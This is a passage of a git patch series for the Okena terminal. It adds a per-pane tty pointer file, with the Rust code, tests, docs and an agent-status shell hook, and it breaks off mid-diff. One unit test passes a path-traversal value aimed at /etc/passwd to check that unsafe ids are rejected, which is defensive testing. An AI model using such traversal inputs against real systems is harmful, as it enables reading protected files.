+        // Drop tty pointers whose device died with a previous run. Backend-
+        // independent: every pane publishes one.
+        #[cfg(unix)]
+        if let Err(e) = std::thread::Builder::new()
+            .name("tty-pointer-gc".into())
+            .spawn(crate::tty_pointer::sweep_dead)
+        {
+            log::warn!("failed to spawn tty pointer cleanup thread: {e}");
+        }
+
         let teardown_tracker = Arc::new(TeardownTracker::default());
 
         // A distinct fixed pool waits for stubborn children. Unlike the normal
@@ -872,8 +882,10 @@ impl PtyManager {
         // server's environment, which predates Okena entirely. Routing them
         // through `launch_environment` is what renders them as tmux `-e KEY=VAL`;
         // the loop below still applies them directly for the no-backend path.
-        // Okena owns both names, so drop any inherited value first.
-        launch_environment.retain(|(key, _)| key != "OKENA_TERMINAL_ID" && key != "OKENA_TTY");
+        // Okena owns these names, so drop any inherited value first.
+        launch_environment.retain(|(key, _)| {
+            key != "OKENA_TERMINAL_ID" && key != "OKENA_TTY" && key != "OKENA_TTY_FILE"
+        });
         // Let anything in the pane name the pane it is running in. The
         // agent-status OSC carries it back as `tid=`, which lets the receiving
         // terminal reject a status meant for a different pane — the failure
@@ -884,14 +896,29 @@ impl PtyManager {
             Some(terminal_id.to_string()),
         ));
         // Expose the pane's slave pty so agent hooks can emit in-band status
-        // updates through `$OKENA_TTY`. This is the device senders should
-        // PREFER: writing to the slave reaches Okena's own reader, whereas a
-        // hook's `/dev/tty` under tmux/screen is the nested pty, which forwards
-        // only a fixed allowlist of OSC numbers that 9001 is not on. The `tid=`
-        // param above covers the risk that motivated the other order — a
-        // recorded path recycled by another pane after a reattach.
+        // updates to it. That is the device senders must PREFER over
+        // `/dev/tty`: writing to the slave reaches Okena's own reader, whereas a
+        // hook's controlling terminal under tmux/screen is the nested pty, which
+        // forwards only a fixed allowlist of OSC numbers that 9001 is not on —
+        // and a harness that runs hooks in a new session has no controlling
+        // terminal at all.
+        //
+        // Two vars name it. `$OKENA_TTY` is the path itself, frozen in the
+        // pane's environment at first launch, so a pane that outlives Okena
+        // (any session backend) keeps naming the old pty forever.
+        // `$OKENA_TTY_FILE` points at a file holding the same path that is
+        // rewritten here on every spawn: stable enough to capture once, always
+        // current when read. Senders should prefer it; `tid=` above is what
+        // contains the residual, when even that is stale. See
+        // `crate::tty_pointer`.
         #[cfg(unix)]
         if let Some(path) = slave_pty_path(pair.master.as_ref()) {
+            if let Some(pointer) = crate::tty_pointer::publish(terminal_id, &path) {
+                launch_environment.push((
+                    "OKENA_TTY_FILE".to_string(),
+                    Some(pointer.to_string_lossy().into_owned()),
+                ));
+            }
             launch_environment.push(("OKENA_TTY".to_string(), Some(path)));
         }
 
@@ -1513,6 +1540,11 @@ impl PtyManager {
         let session_backend = self.session_backend();
         let session_name = session_backend.session_name(terminal_id);
 
+        // The pane is going away for good — its pointer must not outlive it and
+        // name a pty number the next pane inherits.
+        #[cfg(unix)]
+        crate::tty_pointer::revoke(terminal_id);
+
         // Read WSL info before moving the handle
         #[cfg(windows)]
         let (wsl_distro, wsl_backend) =
@@ -2784,6 +2816,44 @@ mod tests {
         );
     }
 
+    /// A pane outlives the Okena that launched it, so its `$OKENA_TTY` goes
+    /// stale and an agent hook ends up writing status into whatever pane
+    /// inherited that pty number. The pointer file is what keeps the pane's
+    /// current device findable, so spawning must publish it and a session kill
+    /// must drop it — otherwise it names a number the next pane inherits.
+    #[cfg(unix)]
+    #[test]
+    fn terminal_publishes_and_revokes_its_tty_pointer() {
+        let (manager, _events) = PtyManager::new(SessionBackend::None);
+        let cwd = std::env::temp_dir().to_string_lossy().into_owned();
+        let plan = TerminalLaunchPlan {
+            route: ShellType::Default,
+            initial_command: Some(crate::backend::TerminalLaunchCommand {
+                program: "/bin/sh".to_string(),
+                args: vec!["-c".to_string(), "sleep 30".to_string()],
+            }),
+            environment: Vec::new(),
+        };
+        let terminal_id = manager
+            .create_terminal_with_plan(&cwd, &plan)
+            .expect("create PTY");
+
+        let pointer = crate::tty_pointer::path_for(&terminal_id).expect("pointer path");
+        let device = std::fs::read_to_string(&pointer).expect("pointer must be published");
+        let device = device.trim();
+        assert!(
+            std::path::Path::new(device).exists(),
+            "pointer must name the pane's live pty, got {device:?}"
+        );
+
+        manager.kill(&terminal_id);
+        assert!(
+            manager.flush_teardown_with_timeout(Duration::from_secs(5), &[]),
+            "teardown must complete"
+        );
+        assert!(!pointer.exists(), "pointer must not outlive the pane");
+    }
+
     #[derive(Default)]
     struct RecordingSink {
         published: Mutex<Vec<(String, Vec<u8>)>>,
diff --git a/crates/okena-terminal/src/session_backend.rs b/crates/okena-terminal/src/session_backend.rs
index 78facaa5d..cef101d82 100644
--- a/crates/okena-terminal/src/session_backend.rs
+++ b/crates/okena-terminal/src/session_backend.rs
@@ -1338,6 +1338,14 @@ fn active_profile_id() -> Option<String> {
         .or_else(|| std::env::var("OKENA_PROFILE").ok())
 }
 
+/// Profile-scoped runtime directory for Okena's per-pane files (dtach sockets,
+/// tty pointers). One directory per profile so two profiles never see each
+/// other's panes.
+#[cfg(unix)]
+pub(crate) fn okena_runtime_dir() -> std::path::PathBuf {
+    get_dtach_socket_dir()
+}
+
 fn get_dtach_socket_dir() -> std::path::PathBuf {
     // Keep the default profile in the legacy root so existing sessions survive
     // the profile migration. Every named profile gets an isolated socket pool.
diff --git a/crates/okena-terminal/src/tty_pointer.rs b/crates/okena-terminal/src/tty_pointer.rs
new file mode 100644
index 000000000..6e9d19880
--- /dev/null
+++ b/crates/okena-terminal/src/tty_pointer.rs
@@ -0,0 +1,225 @@
+//! Per-pane pointer to the pane's *current* slave pty.
+//!
+//! `$OKENA_TTY` is captured into a pane's environment when the pane is first
+//! launched and can never be refreshed: under a session backend the shell — and
+//! the agent running under it — outlives Okena, so after a restart the variable
+//! names a pty that is gone or, worse, now belongs to a *different* pane. An
+//! agent hook then writes its status into someone else's pane, where the `tid=`
+//! guard correctly drops it: silent loss on both ends.
+//!
+//! What does survive a restart is the pane's **terminal id**. So key a small
+//! file by that id and rewrite its contents on every spawn: the *path* is stable
+//! enough to hand to the pane's environment once (`$OKENA_TTY_FILE`), while the
+//! device it names is always the pane's current one. See `docs/agent-status.md`.
+//!
+//! Unix only — `$OKENA_TTY` itself is Unix-only.
+
+use std::path::{Path, PathBuf};
+
+/// Subdirectory of Okena's profile-scoped runtime directory holding the
+/// pointers. Its own directory so the dtach socket GC and this one never see
+/// each other's files.
+const POINTER_DIR: &str = "ttys";
+
+/// Bound on a terminal id we will build a path from. Ids are UUIDs; anything
+/// longer is not one.
+const MAX_ID_LEN: usize = 128;
+
+/// Directory the pointers live in.
+pub fn dir() -> PathBuf {
+    crate::session_backend::okena_runtime_dir().join(POINTER_DIR)
+}
+
+/// Path of the pointer for `terminal_id`, or `None` when the id cannot safely
+/// be used as a file name.
+///
+/// Terminal ids reach us from persisted workspace data and from remote clients,
+/// so treat them as untrusted path components rather than trusting the UUID
+/// convention.
+pub fn path_for(terminal_id: &str) -> Option<PathBuf> {
+    path_in(&dir(), terminal_id)
+}
+
+fn path_in(dir: &Path, terminal_id: &str) -> Option<PathBuf> {
+    // No `.`: it keeps a pointer name from ever colliding with the `<id>.tmp`
+    // a concurrent publish writes, and rules out `.`/`..` for free. Ids are
+    // UUIDs, so nothing legitimate is excluded.
+    let safe = !terminal_id.is_empty()
+        && terminal_id.len() <= MAX_ID_LEN
+        && terminal_id
+            .bytes()
+            .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'-' | b'_'));
+    safe.then(|| dir.join(terminal_id))
+}
+
+/// Record `tty_path` as the pane's current device and return the pointer path
+/// to export as `$OKENA_TTY_FILE`, or `None` if it could not be written.
+pub fn publish(terminal_id: &str, tty_path: &str) -> Option<PathBuf> {
+    publish_in(&dir(), terminal_id, tty_path)
+}
+
+fn publish_in(dir: &Path, terminal_id: &str, tty_path: &str) -> Option<PathBuf> {
+    let path = path_in(dir, terminal_id)?;
+    if let Err(error) = create_dir_private(dir) {
+        log::warn!("failed to create tty pointer dir {dir:?}: {error}");
+        return None;
+    }
+    // Write-then-rename: a hook reading concurrently either sees the previous
+    // device or the new one, never a half-written path.
+    let temp = dir.join(format!("{terminal_id}.tmp"));
+    if let Err(error) = write_private(&temp, tty_path) {
+        log::warn!("failed to write tty pointer {temp:?}: {error}");
+        let _ = std::fs::remove_file(&temp);
+        return None;
+    }
+    if let Err(error) = std::fs::rename(&temp, &path) {
+        log::warn!("failed to publish tty pointer {path:?}: {error}");
+        let _ = std::fs::remove_file(&temp);
+        return None;
+    }
+    Some(path)
+}
+
+/// Drop the pointer for a pane whose session is being killed.
+pub fn revoke(terminal_id: &str) {
+    revoke_in(&dir(), terminal_id);
+}
+
+fn revoke_in(dir: &Path, terminal_id: &str) {
+    if let Some(path) = path_in(dir, terminal_id) {
+        let _ = std::fs::remove_file(path);
+    }
+}
+
+/// Remove pointers left behind by a previous run.
+///
+/// Only removes a pointer whose device is **gone**, so this is safe to run from
+/// any `PtyManager` — including the throwaway ones tests build while a real
+/// Okena is running against the same runtime directory. A pointer whose pty
+/// number has since been recycled survives, and is covered by the same `tid=`
+/// guard that covers a stale `$OKENA_TTY`.
+pub fn sweep_dead() {
+    sweep_dead_in(&dir());
+}
+
+fn sweep_dead_in(dir: &Path) {
+    let Ok(entries) = std::fs::read_dir(dir) else {
+        return; // no pointers yet — nothing to sweep
+    };
+    let mut removed = 0usize;
+    for entry in entries.flatten() {
+        let path = entry.path();
+        let device = std::fs::read_to_string(&path)
+            .ok()
+            .map(|content| content.trim().to_string());
+        // A leftover `.tmp` (crash mid-publish) reads as an empty/absent device
+        // and is swept with the rest.
+        let dead = device.is_none_or(|device| device.is_empty() || !Path::new(&device).exists());
+        if dead && std::fs::remove_file(&path).is_ok() {
+            removed += 1;
+        }
+    }
+    if removed > 0 {
+        log::info!("Cleaned up {removed} stale tty pointer(s) from {dir:?}");
+    }
+}
+
+/// Create the pointer directory with owner-only access — it names devices other
+/// processes can write terminal output into.
+fn create_dir_private(dir: &Path) -> std::io::Result<()> {
+    use std::os::unix::fs::DirBuilderExt as _;
+    std::fs::DirBuilder::new()
+        .recursive(true)
+        .mode(0o700)
+        .create(dir)
+}
+
+fn write_private(path: &Path, contents: &str) -> std::io::Result<()> {
+    use std::io::Write as _;
+    use std::os::unix::fs::OpenOptionsExt as _;
+    let mut file = std::fs::OpenOptions::new()
+        .write(true)
+        .create(true)
+        .truncate(true)
+        .mode(0o600)
+        .open(path)?;
+    writeln!(file, "{contents}")
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn temp_dir(name: &str) -> PathBuf {
+        let dir =
+            std::env::temp_dir().join(format!("okena-tty-pointer-{name}-{}", std::process::id()));
+        let _ = std::fs::remove_dir_all(&dir);
+        dir
+    }
+
+    #[test]
+    fn rejects_ids_that_are_not_safe_file_names() {
+        let dir = PathBuf::from("/run/user/1000/okena/ttys");
+        assert!(path_in(&dir, "").is_none());
+        assert!(path_in(&dir, ".").is_none());
+        assert!(path_in(&dir, "..").is_none());
+        assert!(path_in(&dir, "../../etc/passwd").is_none());
+        assert!(path_in(&dir, "a/b").is_none());
+        assert!(path_in(&dir, "a\\b").is_none());
+        assert!(path_in(&dir, &"x".repeat(MAX_ID_LEN + 1)).is_none());
+        // A dotted id could name another pane's in-flight `<id>.tmp`.
+        assert!(path_in(&dir, "term.tmp").is_none());
+        assert_eq!(
+            path_in(&dir, "ddcf395e-7f78-4536-af47-98d56ba36db9"),
+            Some(dir.join("ddcf395e-7f78-4536-af47-98d56ba36db9"))
+        );
+    }
+
+    #[test]
+    fn publish_then_revoke_round_trips_the_device() {
+        let dir = temp_dir("round-trip");
+        let published = publish_in(&dir, "term-1", "/dev/pts/9").expect("publish");
+        assert_eq!(published, dir.join("term-1"));
+        assert_eq!(
+            std::fs::read_to_string(&published).expect("read").trim(),
+            "/dev/pts/9"
+        );
+
+        // A respawn overwrites the device in place — the path stays put, which
+        // is what makes it safe to capture in a pane's environment once.
+        let republished = publish_in(&dir, "term-1", "/dev/pts/3").expect("republish");
+        assert_eq!(republished, published);
+        assert_eq!(
+            std::fs::read_to_string(&published).expect("read").trim(),
+            "/dev/pts/3"
+        );
+        assert!(
+            !dir.join("term-1.tmp").exists(),
+            "temp file must not linger"
+        );
+
+        revoke_in(&dir, "term-1");
+        assert!(!published.exists());
+        let _ = std::fs::remove_dir_all(&dir);
+    }
+
+    #[test]
+    fn sweep_removes_only_pointers_whose_device_is_gone() {
+        let dir = temp_dir("sweep");
+        publish_in(&dir, "live", "/dev/null").expect("publish live");
+        publish_in(&dir, "dead", "/dev/pts/999999").expect("publish dead");
+        publish_in(&dir, "empty", "").expect("publish empty");
+
+        sweep_dead_in(&dir);
+
+        assert!(dir.join("live").exists(), "a live device must be kept");
+        assert!(!dir.join("dead").exists());
+        assert!(!dir.join("empty").exists());
+        let _ = std::fs::remove_dir_all(&dir);
+    }
+
+    #[test]
+    fn sweep_is_a_no_op_when_the_directory_is_absent() {
+        sweep_dead_in(&temp_dir("absent"));
+    }
+}
diff --git a/docs/agent-status.md b/docs/agent-status.md
index d8dd6d176..316494672 100644
--- a/docs/agent-status.md
+++ b/docs/agent-status.md
@@ -128,42 +128,65 @@ This is the same family of in-band signals Okena already understands
 
 ### Choosing the output device
 
-Prefer **`$OKENA_TTY`** — the pane's own slave pty, which Okena exports into
-every pane's environment — and fall back to the controlling terminal:
+Okena exports two variables naming the pane's own slave pty. Prefer the device
+named **inside `$OKENA_TTY_FILE`**, fall back to **`$OKENA_TTY`**, and only then
+to the controlling terminal:
 
 ```sh
-if [ -n "${OKENA_TTY:-}" ] && (: >"$OKENA_TTY") 2>/dev/null; then
+if [ -n "${OKENA_TTY_FILE:-}" ] && [ -r "$OKENA_TTY_FILE" ]; then
+    live=$(head -n1 "$OKENA_TTY_FILE")
+    [ -n "$live" ] && (: >"$live") 2>/dev/null && dev="$live"
+fi
+if [ -z "${dev:-}" ] && [ -n "${OKENA_TTY:-}" ] && (: >"$OKENA_TTY") 2>/dev/null; then
     dev="$OKENA_TTY"
-elif (: >/dev/tty) 2>/dev/null; then
+elif [ -z "${dev:-}" ] && (: >/dev/tty) 2>/dev/null; then
     dev=/dev/tty
 fi
 ```
 
-The intuitive order is the other way round, since `/dev/tty` always names the
-pane's *current* pty. But under a session backend it names the **wrong** one:
-with `session_backend = tmux` the pane process is tmux, so a hook's controlling
-terminal is tmux's pty — and tmux forwards only a fixed allowlist of OSC numbers,
-which 9001 is not on. The sequence is dropped before it ever reaches Okena.
-Screen behaves the same way. Writing to `$OKENA_TTY` reaches Okena's own reader
-and bypasses the nested pty entirely. It also covers hooks that have no
-controlling terminal at all.
-
-> Keep the probes in a subshell. POSIX makes a redirection error on a special
+Both point at the same device; they differ in **when they were written**.
+
+- `$OKENA_TTY` holds the path itself, captured into the pane's environment when
+  the pane is first launched. A pane that outlives Okena — any session backend —
+  keeps the value forever, so after a restart it names a pty that is gone or,
+  because Linux recycles `/dev/pts/N` numbers, now belongs to a *different*
+  pane.
+- `$OKENA_TTY_FILE` holds a **path to a file** that Okena rewrites on every
+  spawn and reattach, keyed by the pane's terminal id (which does survive a
+  restart under a session backend). The path is stable, so capturing it once is
+  safe; the device it names is always current. This is what keeps a long-running
+  agent reporting across an Okena restart.
+
+`/dev/tty` is last because it is frequently the wrong device or no device at
+all. Under a session backend it names the **nested** pty: with `session_backend
+= tmux` the pane process is tmux, so a hook's controlling terminal is tmux's
+pty — and tmux forwards only a fixed allowlist of OSC numbers, which 9001 is not
+on, so the sequence dies before reaching Okena. Screen behaves the same way. And
+a harness that runs its hooks in a new session has no controlling terminal at
+all: **Claude Code does exactly that**, so for it `/dev/tty` never resolves.
+Writing to the pane's slave reaches Okena's own reader and bypasses any nested
+pty.
+
+> Keep every probe in a subshell. POSIX makes a redirection error on a special
 > built-in (`:`) exit the shell, so a bare `: >/dev/tty` aborts the script in
 > exactly the no-tty case the fallback is for.
 
-`$OKENA_TTY` is captured once, so after a reattach it may name a pty that now
-belongs to a *different* pane. That is what `tid=` defends against: stamp
-`$OKENA_TERMINAL_ID` on the sequence and a pane that isn't the addressee drops
-it instead of showing another agent's status.
+When both paths are stale — an agent still holding the environment of a pane
+Okena has since forgotten — a status can still land in the wrong pane. That is
+what `tid=` defends against: stamp `$OKENA_TERMINAL_ID` on the sequence and a
+pane that isn't the addressee drops it instead of showing another agent's
+status.
 
-> **`$OKENA_TTY` is a capability, not just a hint.** Unlike an inherited file
+> **These are capabilities, not just hints.** Unlike an inherited file
 > descriptor, a *path* can be reopened, and Linux recycles `/dev/pts/N` numbers.
 > A process that outlives its pane (a daemonized dev server, a forking
 > postinstall) keeps a way to write into whatever pane later inherits that
 > number — and writes to a slave arrive as terminal *output*, i.e. they are
 > parsed as escape sequences. It is same-user, so not a privilege boundary, but
-> `tid=` guards OSC 9001 only; nothing else on that channel is addressed.
+> `tid=` guards OSC 9001 only; nothing else on that channel is addressed. The
+> pointer file lives in Okena's owner-only runtime directory and is removed when
+> its pane is closed; a pointer left behind by a crash is swept at startup once
+> the device it names is gone.
 
 ## Session resume
 
@@ -279,18 +302,18 @@ and a tool argument called `session_id` must not be able to hijack the pane's
 identity.
 
 It bundles `okena-lifecycle/scripts/okena-agent-status.sh`, invoked via
-`${CLAUDE_PLUGIN_ROOT}`. The script writes to `$OKENA_TTY` (the pane's own slave
-pty), falling back to `/dev/tty` — see [Choosing the output
+`${CLAUDE_PLUGIN_ROOT}`. The script writes to the pane's own slave pty — the
+device named by `$OKENA_TTY_FILE`, falling back to `$OKENA_TTY` and then
+`/dev/tty` — see [Choosing the output
 device](#choosing-the-output-device) for why that order. It's a silent no-op
 when there's no device to write to.
 
-> **Caveat — persistent sessions.** `OKENA_TTY` is captured into the shell's
-> environment when the pane is **first launched**, not refreshed per-attach. If
-> you *reattach* to a pre-existing `dtach`/`tmux`/`screen` session, the
-> already-running shell keeps the original value while Okena has opened a new
-> pty, so `$OKENA_TTY` points at the old device and the indicator can go silent
-> until the session is restarted. (Known limitation — the env isn't yet
-> refreshed on reattach.)
+> **Caveat — sessions created before the pointer file.** A pane's environment
+> can only be set when the pane is **first launched**, so a `dtach`/`tmux`/
+> `screen` session started by an Okena that predates `$OKENA_TTY_FILE` has no
+> such variable — it still falls back to the frozen `$OKENA_TTY` and can go
+> silent after a restart. Recreating the pane (which starts a new backend
+> session) picks the pointer up; reattaching to the old one does not.
 
 ### Manual (without the plugin)
 
@@ -340,15 +363,18 @@ whole path observable from both ends:
 
 - **The hook end** — set `OKENA_AGENT_STATUS_LOG` to a writable file in the
   pane's environment. The script then appends one line per invocation recording
-  the state, the target device (`$OKENA_TTY`), and whether the write actually
-  succeeded:
+  the state, the target device, where that device came from, and whether the
+  write actually succeeded:
 
   ```
-  2026-06-23T11:30:01+0200 pid=12345 state=working tty=/dev/pts/7 msglen=0 write=ok
+  2026-06-23T11:30:01+0200 pid=12345 state=working tty=/dev/pts/7 src=file msglen=0 write=ok
   ```
 
-  A `write=failed` line means the OSC never reached Okena (wrong/missing
-  `OKENA_TTY`); `skip=bad-state` means the state argument wasn't one Okena
+  `src=` is the device's source: `file` (`$OKENA_TTY_FILE`, always current),
+  `env` (`$OKENA_TTY`, frozen at spawn — expect it to be stale in a pane that
+  outlived an Okena restart), `ctty` (`/dev/tty`), or `none` (nothing was
+  writable). A `write=failed` line means the OSC never reached Okena;
+  `skip=bad-state` means the state argument wasn't one Okena
   knows; `skip=no-agent` means a `session_id` was found but `OKENA_AGENT` is
   unset, so the session is being dropped; no line at all means the hook didn't
   fire — or, on native Windows, that the script can't run at all.
diff --git a/docs/hooks.md b/docs/hooks.md
index 1261a3948..19fbd8a9d 100644
--- a/docs/hooks.md
+++ b/docs/hooks.md
@@ -103,17 +103,20 @@ Available on worktree and merge hooks.
 
 ### Pane environment
 
-Two variables are exported into **every** terminal session Okena spawns, not just
-into hook commands. They are a stable contract for third-party tooling — the
-[agent status](agent-status.md) integration is built on them.
+Three variables are exported into **every** terminal session Okena spawns, not
+just into hook commands. They are a stable contract for third-party tooling —
+the [agent status](agent-status.md) integration is built on them.
 
 | Variable | Description |
 |----------|-------------|
 | `OKENA_TERMINAL_ID` | The pane's terminal id. Echo it back as the `tid=` parameter of an in-band sequence so Okena can drop a status that lands in the wrong pane. |
-| `OKENA_TTY` | The pane's own slave pty path (Unix only). Write in-band sequences here — it reaches Okena's reader even from a process with no controlling terminal, and even through a nested tmux/dtach pty. |
+| `OKENA_TTY_FILE` | Path of a file naming the pane's **current** slave pty (Unix only). Okena rewrites its contents on every spawn and reattach, so it stays correct for a pane that outlives an Okena restart. Prefer it. |
+| `OKENA_TTY` | The pane's slave pty path as of launch (Unix only). Same device, but frozen — a pane that survives a restart keeps pointing at a pty that now belongs to someone else. Use it only as a fallback. |
 
-Both are routed through the pane's launch environment, so they reach the shell
-inside a tmux/screen/dtach session as well as a plain one.
+Write in-band sequences to the pane's slave pty: it reaches Okena's reader even
+from a process with no controlling terminal, and even through a nested
+tmux/dtach pty. All three are routed through the pane's launch environment, so
+they reach the shell inside a tmux/screen/dtach session as well as a plain one.
 
 ### Conflict variables
 
diff --git a/integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh b/integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh
index 75cd236ff..712e0444a 100755
--- a/integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh
+++ b/integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh
@@ -11,17 +11,18 @@
 # Designed to be wired up as a Claude Code hook (see docs/agent-status.md), but
 # it's agent-agnostic — anything that can run a command can call it.
 #
-# Output device: prefer `$OKENA_TTY` (Okena's own slave pty for this pane,
-# exported at spawn), fall back to the controlling terminal. See the selection
-# block below for why that order. This drains stdin so a hook feeding event JSON
-# on the pipe never blocks, and is a silent no-op when there's no device to
-# write to — safe to call from anywhere.
+# Output device: prefer the pane's *current* slave pty named by
+# `$OKENA_TTY_FILE`, then the spawn-time `$OKENA_TTY`, then the controlling
+# terminal. See the selection block below for why that order. This drains stdin
+# so a hook feeding event JSON on the pipe never blocks, and is a silent no-op
+# when there's no device to write to — safe to call from anywhere.
 #
 # Debugging: set OKENA_AGENT_STATUS_LOG=/path/to/log to append one line per
-# invocation recording the state, the target device, and whether the write
-# actually succeeded. This makes the whole path observable — pair it with
-# Okena's own `okena_terminal::terminal::osc_sidecar` debug logs (the receiving
-# end) to see where a status update is lost. Unset → zero overhead, no file.
+# invocation recording the state, the target device and where it came from, and
+# whether the write actually succeeded. This makes the whole path observable —
+# pair it with Okena's own `okena_terminal::terminal::osc_sidecar` debug logs
+# (the receiving end) to see where a status update is lost. Unset → zero
+# overhead, no file.
 
 state="${1:-}"
 message="${2:-}"
@@ -33,29 +34,57 @@ agent="${OKENA_AGENT:-}"
 # that reaches the wrong pane. Empty outside Okena — the param is then omitted.
 terminal_id="${OKENA_TERMINAL_ID:-}"
 
-# Pick the device to write to, preferring Okena's own slave pty.
+# Pick the device to write to, preferring Okena's own slave pty for this pane.
 #
-# The intuitive order is the other way round — `/dev/tty` always resolves to the
-# pane's *current* pty, so it survives a reattach, whereas `$OKENA_TTY` is
-# captured once at spawn and can go stale. But under a session backend
-# `/dev/tty` names the WRONG pty: with `session_backend = tmux` the pane process
-# is tmux, so a hook's controlling terminal is tmux's pty, and tmux forwards only
-# a fixed allowlist of OSC numbers — 9001 is not on it, and the sequence is
-# dropped before it ever reaches Okena's reader. Screen behaves the same way.
-# `$OKENA_TTY` names Okena's own slave and bypasses the nested pty entirely.
+# 1. `$OKENA_TTY_FILE` — a stable path whose CONTENTS Okena rewrites on every
+#    spawn and reattach. The only source that stays correct for a pane that
+#    outlives Okena: with a session backend (dtach/tmux/screen) the shell — and
+#    the agent under it — survives a restart, so its environment still holds the
+#    pty of the *previous* run, which Linux has since handed to another pane.
+# 2. `$OKENA_TTY` — the same device, captured once at spawn. Correct until the
+#    pane outlives the Okena that launched it; also the only one an Okena older
+#    than the pointer file exports.
+# 3. `/dev/tty` — last resort. It always resolves to the pane's current pty, but
+#    under a session backend that is the NESTED pty: with `session_backend =
+#    tmux` the pane process is tmux, so a hook's controlling terminal is tmux's
+#    own pty, and tmux forwards only a fixed allowlist of OSC numbers — 9001 is
+#    not on it, so the sequence dies before reaching Okena's reader. Screen
+#    behaves the same way. And a harness that runs its hooks in a new session
+#    (Claude Code does) has no controlling terminal at all.
 #
-# The stale-path risk that motivated preferring /dev/tty is already covered by
-# the `tid=` param below: Okena drops a status that lands in a recycled pane.
+# Writing to a device 1 or 2 named means writing to Okena's own slave, which
+# bypasses any nested pty. When both are stale the `tid=` param below contains
+# the damage: Okena drops a status that lands in a recycled pane rather than
+# driving another agent's indicator.
 #
-# Both probes MUST stay in a subshell. POSIX makes a redirection error on a
+# Every probe MUST stay in a subshell. POSIX makes a redirection error on a
 # special built-in (`:`) exit the shell, so a bare `: >/dev/tty` aborts this
 # script under dash in exactly the case the fallback exists for — and since this
 # runs as a PreToolUse hook, a non-zero exit blocks the tool call.
-if [ -n "${OKENA_TTY:-}" ] && (: >"$OKENA_TTY") 2>/dev/null; then
+tty_dev=""
+tty_src="none"
+
+if [ -n "${OKENA_TTY_FILE:-}" ] && [ -r "$OKENA_TTY_FILE" ]; then
+    live_tty=$(head -n1 "$OKENA_TTY_FILE" 2>/dev/null | tr -d '\r\n')
+    if [ -n "$live_tty" ] && (: >"$live_tty") 2>/dev/null; then
+        tty_dev="$live_tty"
+        tty_src="file"
+    fi
+fi
+
+if [ -z "$tty_dev" ] && [ -n "${OKENA_TTY:-}" ] && (: >"$OKENA_TTY") 2>/dev/null; then
     tty_dev="$OKENA_TTY"
-elif (: >/dev/tty) 2>/dev/null; then
+    tty_src="env"
+fi
+
+if [ -z "$tty_dev" ] && (: >/dev/tty) 2>/dev/null; then
     tty_dev="/dev/tty"
-else
+    tty_src="ctty"
+fi
+
+# Nothing writable: keep a name so the write below fails as `write=failed` in the
+# log rather than against an empty path.
+if [ -z "$tty_dev" ]; then
     tty_dev="${OKENA_TTY:-/dev/tty}"
 fi
 
@@ -64,8 +93,8 @@ fi
 log() {
     [ -n "${OKENA_AGENT_STATUS_LOG:-}" ] || return 0
     ts=$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null || echo '????')
-    printf '%s pid=%s state=%s tty=%s %s\n' \
-        "$ts" "$$" "${state:-<none>}" "$tty_dev" "$1" \
+    printf '%s pid=%s state=%s tty=%s src=%s %s\n' \
+        "$ts" "$$" "${state:-<none>}" "$tty_dev" "$tty_src" "$1" \
         >>"$OKENA_AGENT_STATUS_LOG" 2>/dev/null || true
 }
 
@@ -166,8 +195,8 @@ esac
 # params on ';').
 params="st=$state"
 # Address the status at our own pane, so Okena can drop it if it lands
-# elsewhere (a recorded $OKENA_TTY path recycled by another pane after a
-# reattach). Omitted outside Okena, where the receiver accepts anything.
+# elsewhere (a stale device path since recycled by another pane). Omitted
+# outside Okena, where the receiver accepts anything.
 if [ -n "$terminal_id" ]; then
     params="$params;tid=$terminal_id"
 fi

From 770b237816f67f45d7f66cdc3661375bc857add9 Mon Sep 17 00:00:00 2001
From: David Matejka <matej21@matej21.cz>
Date: Wed, 5 Aug 2026 16:50:22 +0200
Subject: [PATCH 16/16] style: apply rustfmt to the agent-status changes
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Fallout from a `cargo fmt --all` run while fixing the agent-status tty
pointer: CI never checks formatting, so a few commits on this branch
landed unformatted.

Line wrapping and trailing commas only — the working tree is tokenwise
identical to HEAD for every file here.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_014vNWNgioH8JeerfHgfN31y
---
 .../src/workspace/actions/execute/mod.rs      | 22 ++++++++++++++-----
 .../src/workspace/actions/execute/session.rs  |  5 +----
 crates/okena-app/src/app/notifications.rs     |  1 -
 crates/okena-core/src/agent_harness.rs        |  5 ++++-
 crates/okena-core/src/agent_session.rs        | 11 +++++++---
 crates/okena-core/src/agent_status.rs         |  5 ++++-
 crates/okena-daemon-core/src/pty_loop.rs      |  7 +++++-
 .../okena-terminal/src/terminal/tests/osc.rs  | 22 +++++++++++++------
 crates/okena-workspace/src/actions/focus.rs   |  4 +---
 .../src/actions/layout/tests_gpui.rs          | 14 +++++-------
 crates/okena-workspace/src/remote_apply.rs    |  6 ++++-
 11 files changed, 65 insertions(+), 37 deletions(-)

diff --git a/crates/okena-app-core/src/workspace/actions/execute/mod.rs b/crates/okena-app-core/src/workspace/actions/execute/mod.rs
index cb34adb9c..4aa7ed4ed 100644
--- a/crates/okena-app-core/src/workspace/actions/execute/mod.rs
+++ b/crates/okena-app-core/src/workspace/actions/execute/mod.rs
@@ -863,14 +863,15 @@ pub fn spawn_uninitialized_terminals(
         // onto the new terminal id below so the pane keeps its identity whether
         // or not we actually resumed.
         let pending_session = ws.take_pending_agent_resume(project_id, &path);
-        let resume_command = pending_session.as_ref().filter(|_| auto_resume).and_then(
-            |session| {
+        let resume_command = pending_session
+            .as_ref()
+            .filter(|_| auto_resume)
+            .and_then(|session| {
                 okena_core::agent_harness::resume_command_line(
                     session,
                     std::path::Path::new(&spawn_cwd),
                 )
-            },
-        );
+            });
         if let Some(ref command) = resume_command {
             log::info!("agent-resume: project={project_id} path={path:?} command={command}");
         }
@@ -1573,10 +1574,19 @@ mod agent_resume_tests {
         TerminalsRegistry,
         RecordingBackend,
     ) {
-        let mut ws = workspace_with_terminal(ShellType::Default, None, Some("terminal"), Default::default());
+        let mut ws = workspace_with_terminal(
+            ShellType::Default,
+            None,
+            Some("terminal"),
+            Default::default(),
+        );
         ws.set_agent_session("project", "terminal", session("test-agent"), &mut TestCx);
